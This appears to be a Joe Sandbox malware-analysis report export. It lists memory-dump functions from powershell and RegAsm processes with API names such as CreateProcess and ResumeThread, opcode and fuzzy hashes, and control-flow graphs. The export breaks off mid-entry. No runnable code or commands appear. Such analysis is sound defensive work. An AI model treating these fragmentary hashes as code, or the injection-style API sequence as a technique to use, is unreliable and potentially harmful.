                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 80a7433f11f23fca060b8f97a3fc1c3088f02a33def54667786c1e635d8e911a
                                                                                                                                          • Instruction ID: 07da995cbacff75907f5347c39018fdc6cb1247cd881be2672eb79f5b81283a0
                                                                                                                                          • Opcode Fuzzy Hash: 80a7433f11f23fca060b8f97a3fc1c3088f02a33def54667786c1e635d8e911a
                                                                                                                                          • Instruction Fuzzy Hash: 1D31077190CB4C8FEB18DF9898466F97BE0FB69711F00826FE089D3252DA70B845CB91
                                                                                                                                          Function 00007FFD9B656575 Relevance: 1.6, APIs: 1, Instructions: 130threadCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2897868047.00007FFD9B650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B650000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b650000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: ResumeThread
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 947044025-0
                                                                                                                                          • Opcode ID: ffa2972adb86c261740dfca5c69dc9ccdc064fb35dabc2f6ea1a1415727fecf0
                                                                                                                                          • Instruction ID: 85ae063cbc0c3e242c88d7a66c643d2d6c82ce99aefb4a353c92a1f56682d412
                                                                                                                                          • Opcode Fuzzy Hash: ffa2972adb86c261740dfca5c69dc9ccdc064fb35dabc2f6ea1a1415727fecf0
                                                                                                                                          • Instruction Fuzzy Hash: 9A31F531A0CA4C8FEB19DFA8D845AF9BBE0EF56321F00426FD089C3592D765A416CB81
                                                                                                                                          Function 00007FFD9B655FAE Relevance: 1.6, APIs: 1, Instructions: 113processCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2897868047.00007FFD9B650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B650000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b650000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: CreateProcess
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 963392458-0
                                                                                                                                          • Opcode ID: 89dc5d03123dc6ebb65cb926799968758689cbbd2cdeec3c0143f35c37b2d75d
                                                                                                                                          • Instruction ID: c2c8644ba409fa6c793e65c765cc4b44d96da2cd7c98a2067acac1197c29ba93
                                                                                                                                          • Opcode Fuzzy Hash: 89dc5d03123dc6ebb65cb926799968758689cbbd2cdeec3c0143f35c37b2d75d
                                                                                                                                          • Instruction Fuzzy Hash: 6531403191CA188FDB58DB5CD846BE9B7F1FB99320F10429AD04DA3251CA34B986CF81
                                                                                                                                          Function 00007FFD9B653DF2 Relevance: 1.6, APIs: 1, Instructions: 102threadCOMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          APIs
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2897868047.00007FFD9B650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B650000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b650000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID: ContextThreadWow64
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID: 983334009-0
                                                                                                                                          • Opcode ID: 12941e46c5188618d4b0f2e9bfcaf6d26d044f9885af6ac778e27c24c0290bcc
                                                                                                                                          • Instruction ID: ca2add1d6bee69df38e83e3b7138d1cf959cb7d1f311bed519e760ca19f4ccff
                                                                                                                                          • Opcode Fuzzy Hash: 12941e46c5188618d4b0f2e9bfcaf6d26d044f9885af6ac778e27c24c0290bcc
                                                                                                                                          • Instruction Fuzzy Hash: 7C21D231908A1C8FDB68DF9CD8897FA7BE0FB99321F04822BD409C7116DB70A815CB91
                                                                                                                                          Function 00007FFD9B7210C9 Relevance: 1.0, Instructions: 978COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 60 7ffd9b7210c9-7ffd9b7210f9 65 7ffd9b721124-7ffd9b72114f 60->65 66 7ffd9b7210fb-7ffd9b721122 60->66 72 7ffd9b721151 65->72 73 7ffd9b721156-7ffd9b721167 65->73 66->65 72->73 76 7ffd9b721153 72->76 74 7ffd9b72116e-7ffd9b721209 73->74 75 7ffd9b721169 73->75 81 7ffd9b72120f-7ffd9b721219 74->81 82 7ffd9b72139a-7ffd9b7213f6 74->82 75->74 77 7ffd9b72116b 75->77 76->73 77->74 83 7ffd9b721232-7ffd9b721237 81->83 84 7ffd9b72121b-7ffd9b721230 81->84 110 7ffd9b721421-7ffd9b72144b 82->110 111 7ffd9b7213f8-7ffd9b72141f 82->111 87 7ffd9b72123d-7ffd9b721240 83->87 88 7ffd9b721337-7ffd9b721341 83->88 84->83 92 7ffd9b721242-7ffd9b721255 87->92 93 7ffd9b721289 87->93 89 7ffd9b721352-7ffd9b721397 88->89 90 7ffd9b721343-7ffd9b721351 88->90 89->82 92->82 101 7ffd9b72125b-7ffd9b721265 92->101 95 7ffd9b72128b-7ffd9b72128d 93->95 95->88 98 7ffd9b721293-7ffd9b721296 95->98 103 7ffd9b7212ad-7ffd9b7212b1 98->103 104 7ffd9b721298-7ffd9b7212a1 98->104 106 7ffd9b72127e-7ffd9b721287 101->106 107 7ffd9b721267-7ffd9b721274 101->107 103->88 115 7ffd9b7212b7-7ffd9b7212bd 103->115 104->103 106->95 107->106 116 7ffd9b721276-7ffd9b72127c 107->116 129 7ffd9b72144d 110->129 130 7ffd9b721452-7ffd9b721463 110->130 111->110 118 7ffd9b7212bf-7ffd9b7212cc 115->118 119 7ffd9b7212d9-7ffd9b7212df 115->119 116->106 118->119 124 7ffd9b7212ce-7ffd9b7212d7 118->124 122 7ffd9b7212e1-7ffd9b7212f9 119->122 123 7ffd9b7212fb-7ffd9b72130e 119->123 122->123 135 7ffd9b721310-7ffd9b721325 123->135 136 7ffd9b721327-7ffd9b721336 123->136 124->119 129->130 134 7ffd9b72144f 129->134 137 7ffd9b721465 130->137 134->130 135->136 139 7ffd9b721467-7ffd9b721480 137->139 140 7ffd9b721482-7ffd9b7214c2 139->140 141 7ffd9b7214c7-7ffd9b7214ca 139->141 144 7ffd9b72145f-7ffd9b721463 140->144 145 7ffd9b7214c4-7ffd9b7214c5 140->145 141->139 143 7ffd9b7214cc-7ffd9b7214ff 141->143 147 7ffd9b72168f-7ffd9b7216ed 143->147 148 7ffd9b721505-7ffd9b72150f 143->148 144->137 145->141 174 7ffd9b7216ef-7ffd9b721716 147->174 175 7ffd9b721718-7ffd9b72173d 147->175 149 7ffd9b721511-7ffd9b72151f 148->149 150 7ffd9b721529-7ffd9b72152f 148->150 149->150 157 7ffd9b721521-7ffd9b721527 149->157 152 7ffd9b721624-7ffd9b72162e 150->152 153 7ffd9b721535-7ffd9b721538 150->153 155 7ffd9b721630-7ffd9b721640 152->155 156 7ffd9b721641-7ffd9b72168c 152->156 158 7ffd9b721581 153->158 159 7ffd9b72153a-7ffd9b72154d 153->159 156->147 157->150 161 7ffd9b721583-7ffd9b721585 158->161 159->147 168 7ffd9b721553-7ffd9b72155d 159->168 161->152 166 7ffd9b72158b-7ffd9b72158e 161->166 166->152 170 7ffd9b721594-7ffd9b721597 166->170 172 7ffd9b72155f-7ffd9b721574 168->172 173 7ffd9b721576-7ffd9b72157f 168->173 170->152 176 7ffd9b72159d-7ffd9b7215d1 170->176 172->173 173->161 174->175 188 7ffd9b72173f-7ffd9b721745 175->188 189 7ffd9b721749-7ffd9b721755 175->189 176->152 194 7ffd9b7215d3-7ffd9b7215d9 176->194 188->189 190 7ffd9b721761-7ffd9b7217e4 189->190 191 7ffd9b721757-7ffd9b72175d 189->191 200 7ffd9b7217e6-7ffd9b721828 190->200 201 7ffd9b72182b-7ffd9b721835 190->201 191->190 196 7ffd9b7215f8-7ffd9b72160e 194->196 197 7ffd9b7215db-7ffd9b7215f6 194->197 203 7ffd9b721614-7ffd9b721623 196->203 197->196 204 7ffd9b721840-7ffd9b72188b 201->204 205 7ffd9b721837-7ffd9b72183f 201->205
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2922149605.00007FFD9B720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B720000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b720000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 3f540cd6f584c243eb69b82b85365129cfa6852bd9a33099b60b86ff32d683f5
                                                                                                                                          • Instruction ID: 83781e0f5743ecc8169f2b5f78efcec61d955c6dfeb615afa337cd680ba1dc49
                                                                                                                                          • Opcode Fuzzy Hash: 3f540cd6f584c243eb69b82b85365129cfa6852bd9a33099b60b86ff32d683f5
                                                                                                                                          • Instruction Fuzzy Hash: 52520822B0EBC90FEB66966888655647FE1FF56210B0A02FFD48DC75F3D918AD06C381
                                                                                                                                          Function 00007FFD9B7214C0 Relevance: .2, Instructions: 211COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 269 7ffd9b7214c0-7ffd9b7214c2 270 7ffd9b72145f-7ffd9b721465 269->270 271 7ffd9b7214c4-7ffd9b7214c5 269->271 274 7ffd9b721467-7ffd9b721480 270->274 272 7ffd9b7214c7-7ffd9b7214ca 271->272 272->274 275 7ffd9b7214cc-7ffd9b7214ff 272->275 274->272 276 7ffd9b721482-7ffd9b7214bf 274->276 278 7ffd9b72168f-7ffd9b7216ed 275->278 279 7ffd9b721505-7ffd9b72150f 275->279 276->269 305 7ffd9b7216ef-7ffd9b721716 278->305 306 7ffd9b721718-7ffd9b72173d 278->306 280 7ffd9b721511-7ffd9b72151f 279->280 281 7ffd9b721529-7ffd9b72152f 279->281 280->281 288 7ffd9b721521-7ffd9b721527 280->288 283 7ffd9b721624-7ffd9b72162e 281->283 284 7ffd9b721535-7ffd9b721538 281->284 286 7ffd9b721630-7ffd9b721640 283->286 287 7ffd9b721641-7ffd9b72168c 283->287 289 7ffd9b721581 284->289 290 7ffd9b72153a-7ffd9b72154d 284->290 287->278 288->281 292 7ffd9b721583-7ffd9b721585 289->292 290->278 299 7ffd9b721553-7ffd9b72155d 290->299 292->283 297 7ffd9b72158b-7ffd9b72158e 292->297 297->283 301 7ffd9b721594-7ffd9b721597 297->301 303 7ffd9b72155f-7ffd9b721574 299->303 304 7ffd9b721576-7ffd9b72157f 299->304 301->283 307 7ffd9b72159d-7ffd9b7215d1 301->307 303->304 304->292 305->306 319 7ffd9b72173f-7ffd9b721745 306->319 320 7ffd9b721749-7ffd9b721755 306->320 307->283 325 7ffd9b7215d3-7ffd9b7215d9 307->325 319->320 321 7ffd9b721761-7ffd9b7217e4 320->321 322 7ffd9b721757-7ffd9b72175d 320->322 331 7ffd9b7217e6-7ffd9b721828 321->331 332 7ffd9b72182b-7ffd9b721835 321->332 322->321 327 7ffd9b7215f8-7ffd9b72160e 325->327 328 7ffd9b7215db-7ffd9b7215f6 325->328 334 7ffd9b721614-7ffd9b721623 327->334 328->327 335 7ffd9b721840-7ffd9b72188b 332->335 336 7ffd9b721837-7ffd9b72183f 332->336
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2922149605.00007FFD9B720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B720000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b720000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 45a6287a48d0170e52f110f353e7bdff68cae3090567530c2860cbd3689acb2f
                                                                                                                                          • Instruction ID: 03e9e5560d1b5aaf7a46b1f3ee5db69d4227e970a4c36b6c78ab7eb8bb53f816
                                                                                                                                          • Opcode Fuzzy Hash: 45a6287a48d0170e52f110f353e7bdff68cae3090567530c2860cbd3689acb2f
                                                                                                                                          • Instruction Fuzzy Hash: 5B51EA61A0FBC90FEB668A6888655747BE1FF56210B0E02FBD48DC79B3D918AD058742
                                                                                                                                          Function 00007FFD9B720ACE Relevance: .1, Instructions: 148COMMON
                                                                                                                                          Download Yara Rule

                                                                                                                                          Control-flow Graph

                                                                                                                                          • Executed
                                                                                                                                          • Not Executed
                                                                                                                                          control_flow_graph 344 7ffd9b720ace-7ffd9b720ae4 345 7ffd9b720afd-7ffd9b720b02 344->345 346 7ffd9b720ae6-7ffd9b720af3 344->346 348 7ffd9b720b08-7ffd9b720b0b 345->348 349 7ffd9b720b9a-7ffd9b720ba4 345->349 346->345 352 7ffd9b720af5-7ffd9b720afb 346->352 348->349 353 7ffd9b720b11-7ffd9b720b14 348->353 350 7ffd9b720bb3-7ffd9b720bf6 349->350 351 7ffd9b720ba6-7ffd9b720bb2 349->351 352->345 355 7ffd9b720b16-7ffd9b720b39 353->355 356 7ffd9b720b3b 353->356 357 7ffd9b720b3d-7ffd9b720b3f 355->357 356->357 357->349 360 7ffd9b720b41-7ffd9b720b4b 357->360 360->349 365 7ffd9b720b4d-7ffd9b720b63 360->365 367 7ffd9b720b6a-7ffd9b720b73 365->367 368 7ffd9b720b75-7ffd9b720b82 367->368 369 7ffd9b720b8c-7ffd9b720b99 367->369 368->369 371 7ffd9b720b84-7ffd9b720b8a 368->371 371->369
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 0000001C.00000002.2922149605.00007FFD9B720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B720000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_28_2_7ffd9b720000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: a7f69f1ca6bb0cf06380e46e8c03baa23b090a97df759537a9cb2aac142b2e9b
                                                                                                                                          • Instruction ID: 982dde3112847d6f0d38abe4ae7341dc9d4cf0583bb5fd81cf925d9d8f7be261
                                                                                                                                          • Opcode Fuzzy Hash: a7f69f1ca6bb0cf06380e46e8c03baa23b090a97df759537a9cb2aac142b2e9b
                                                                                                                                          • Instruction Fuzzy Hash: B3415722B0EB4E0FEBB996AC18656B973E2DF54B15B4902BBD41DC31F7ED08AD014391

                                                                                                                                          Executed Functions

                                                                                                                                          Function 02DB0959 Relevance: 1.3, Strings: 1, Instructions: 67COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: Hbq
                                                                                                                                          • API String ID: 0-1245868
                                                                                                                                          • Opcode ID: d252f111bb41d6ed6902401b8d8880fb1dee2493988dbafa7139666302216df9
                                                                                                                                          • Instruction ID: d6f97ee45aac5a943598cc9104ecacd84f79e1ea5c0485f3b774feddb15a50ed
                                                                                                                                          • Opcode Fuzzy Hash: d252f111bb41d6ed6902401b8d8880fb1dee2493988dbafa7139666302216df9
                                                                                                                                          • Instruction Fuzzy Hash: 3B218E30A042089FCB88EBB895643AE7FF5EF85300F6888B9D04997395DB349D45CB80
                                                                                                                                          Function 02DB0CE9 Relevance: .6, Instructions: 577COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: d420c1440536c4fb00704d6f23622a3e9ccb0e2e53805a379de7b855dd52686b
                                                                                                                                          • Instruction ID: 9ffa2c9dde2e181577b772909d727103c5ed137a4a1f8ef2f3c5790550cb1ddf
                                                                                                                                          • Opcode Fuzzy Hash: d420c1440536c4fb00704d6f23622a3e9ccb0e2e53805a379de7b855dd52686b
                                                                                                                                          • Instruction Fuzzy Hash: A8614D396002068FCB19FB74E56856E7FB6BF94204744493AD01ACB3A9DF74AD89CF81
                                                                                                                                          Function 02DB1030 Relevance: .2, Instructions: 250COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 335ba90a9df84a4df2b2ca6ce91af2247bcee84c0f6c942ba2c8c6f0f4b3a325
                                                                                                                                          • Instruction ID: 8900b3c3fa9c66ea7f44abbf8de607a8c06d6c9ebfb5e34ed81e13889a76a796
                                                                                                                                          • Opcode Fuzzy Hash: 335ba90a9df84a4df2b2ca6ce91af2247bcee84c0f6c942ba2c8c6f0f4b3a325
                                                                                                                                          • Instruction Fuzzy Hash: 1C915F357002068FCB19FB78E568A6E7BB6BF94204B544939E016CB3A9DF70DD498F81
                                                                                                                                          Function 02DB11B5 Relevance: .1, Instructions: 86COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 0fee1f2a87d818a7b1601a953c90c952e78231d2360890d3487a95b673ab7361
                                                                                                                                          • Instruction ID: 3cf1500d2b2255b96ffa42a820420951129db52c3b8fdad79556553071715d95
                                                                                                                                          • Opcode Fuzzy Hash: 0fee1f2a87d818a7b1601a953c90c952e78231d2360890d3487a95b673ab7361
                                                                                                                                          • Instruction Fuzzy Hash: 4B214931700B018FCA29BB79842456E7AE6BF842543548D3DD02B8B7E4EF65DD0A8F92
                                                                                                                                          Function 02DB1763 Relevance: .1, Instructions: 85COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 6534664a0076bbe208bed665f0978a10adb6b409409f0c89f967bb1d204065df
                                                                                                                                          • Instruction ID: c3a346dce15114a5d3d54be7cb53ef56cad57a73977e8a2c12157fa2b14eee5d
                                                                                                                                          • Opcode Fuzzy Hash: 6534664a0076bbe208bed665f0978a10adb6b409409f0c89f967bb1d204065df
                                                                                                                                          • Instruction Fuzzy Hash: 8931813890020AEFCB05EF78D864AAEBFB6FF84304F104579D405A7359EB319A95CB90
                                                                                                                                          Function 02DB18A1 Relevance: .1, Instructions: 77COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: cdd56b368a3027c7366f2d432c977005c99a73531c8a24bb6ed1da49e2d6907d
                                                                                                                                          • Instruction ID: 7c88a8fa26e9a0e155fd81de7d0f0ab3e4a820732db8de24fa70349b85b40b8c
                                                                                                                                          • Opcode Fuzzy Hash: cdd56b368a3027c7366f2d432c977005c99a73531c8a24bb6ed1da49e2d6907d
                                                                                                                                          • Instruction Fuzzy Hash: DD21C261B003059FCB48ABB9885832E7ADAAFC8600B14882DD05AD7385DE348C0A87A1
                                                                                                                                          Function 02DB1790 Relevance: .1, Instructions: 70COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 6cd238915f713d5c75d0a7f6355b5022b14ba067272cb8e5d9efe144c16d7a47
                                                                                                                                          • Instruction ID: 43faa03506d04deb6e87e6d220baefb59ddedce2524f0b059f90f16a5830e7fd
                                                                                                                                          • Opcode Fuzzy Hash: 6cd238915f713d5c75d0a7f6355b5022b14ba067272cb8e5d9efe144c16d7a47
                                                                                                                                          • Instruction Fuzzy Hash: E2217E3890020ADFCB44FF78D850AAEBBB6FF94304F104979D005A7358EB719A85CB51
                                                                                                                                          Function 02DB0838 Relevance: .1, Instructions: 57COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 4cc4a98e748978b94e094ef63922a0234d85b6e99356b9aa8e1892a36cb17754
                                                                                                                                          • Instruction ID: 56021f3d2cbde9187ac31a996c981b33d7229aa493314a92d38d10bc3ebaae67
                                                                                                                                          • Opcode Fuzzy Hash: 4cc4a98e748978b94e094ef63922a0234d85b6e99356b9aa8e1892a36cb17754
                                                                                                                                          • Instruction Fuzzy Hash: B821AC7C14024EAFDB12FB68F9A0A557B75FB64304B109A75A0048B32DE770A99D8F80
                                                                                                                                          Function 02DB0848 Relevance: .1, Instructions: 53COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000020.00000002.2121174680.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_32_2_2db0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: bd10caddc44f7b9456032733f51b449432410a5c98b3eb8145790e5b645680c9
                                                                                                                                          • Instruction ID: 22f5d9d589b5a8c42a2167c9d73e14095be65c505338673809c97701be32c958
                                                                                                                                          • Opcode Fuzzy Hash: bd10caddc44f7b9456032733f51b449432410a5c98b3eb8145790e5b645680c9
                                                                                                                                          • Instruction Fuzzy Hash: 8F215E7C15020FAFDB16FF68F9A09557BB5FB643047109A75A0048B32DE770A99D8F80

                                                                                                                                          Executed Functions

                                                                                                                                          Function 01321418 Relevance: 1.6, Strings: 1, Instructions: 311COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: Xbq
                                                                                                                                          • API String ID: 0-63242295
                                                                                                                                          • Opcode ID: f8737ef7fc01979bf88adbfd4f475c77adc1fe121aaea1a2f88ba0038b7e1aae
                                                                                                                                          • Instruction ID: 6676ec4af177386409bea6158258bca6d700be83eda693bc5cc4bed77b4fa805
                                                                                                                                          • Opcode Fuzzy Hash: f8737ef7fc01979bf88adbfd4f475c77adc1fe121aaea1a2f88ba0038b7e1aae
                                                                                                                                          • Instruction Fuzzy Hash: 57B1C434B002188FDB28EF78995467E7BB7BFC8714F098569E506EB398CE359C028795
                                                                                                                                          Function 01320959 Relevance: 1.3, Strings: 1, Instructions: 69COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: Hbq
                                                                                                                                          • API String ID: 0-1245868
                                                                                                                                          • Opcode ID: d034ec21afe43411ba95f531b9e611b7d653b0f8b5a212b8e30cc3a90f45492d
                                                                                                                                          • Instruction ID: 45f430a63063460c56a9d2a9e4ea9df3d8532fd1279d4f7c6d2967275ca59524
                                                                                                                                          • Opcode Fuzzy Hash: d034ec21afe43411ba95f531b9e611b7d653b0f8b5a212b8e30cc3a90f45492d
                                                                                                                                          • Instruction Fuzzy Hash: 2C218930E042089FCB58EFB8D4986AEBBF5AF45300F1085A9D5099B285EA349D14CB91
                                                                                                                                          Function 01321030 Relevance: .3, Instructions: 252COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 9847c58b95a69328f4876cd007c1429284ce1c9a6922eccb9ecf9460e40c99b5
                                                                                                                                          • Instruction ID: a42cd88414f10dee5737231ede46499909de3aaa9c20c366b661a6f2c9602461
                                                                                                                                          • Opcode Fuzzy Hash: 9847c58b95a69328f4876cd007c1429284ce1c9a6922eccb9ecf9460e40c99b5
                                                                                                                                          • Instruction Fuzzy Hash: 699130357002068FCB19EB79F5A866E7BB6FF84704B114929E1069B3ADDF70DC098B81
                                                                                                                                          Function 01321028 Relevance: .2, Instructions: 164COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 9348d5b0f03d545e32bf777792eca1478dba79a0aca8a2cc697d44c7b658327c
                                                                                                                                          • Instruction ID: 9270ca8adaa48f18c73e0af738664fc64ea97322fe91ccc949b476670a291c90
                                                                                                                                          • Opcode Fuzzy Hash: 9348d5b0f03d545e32bf777792eca1478dba79a0aca8a2cc697d44c7b658327c
                                                                                                                                          • Instruction Fuzzy Hash: C461F0356002068FCB19FB78F5AC56E7BA6FB84705701492AD01B9B3ACDF74AD498F81
                                                                                                                                          Function 013211B5 Relevance: .1, Instructions: 86COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
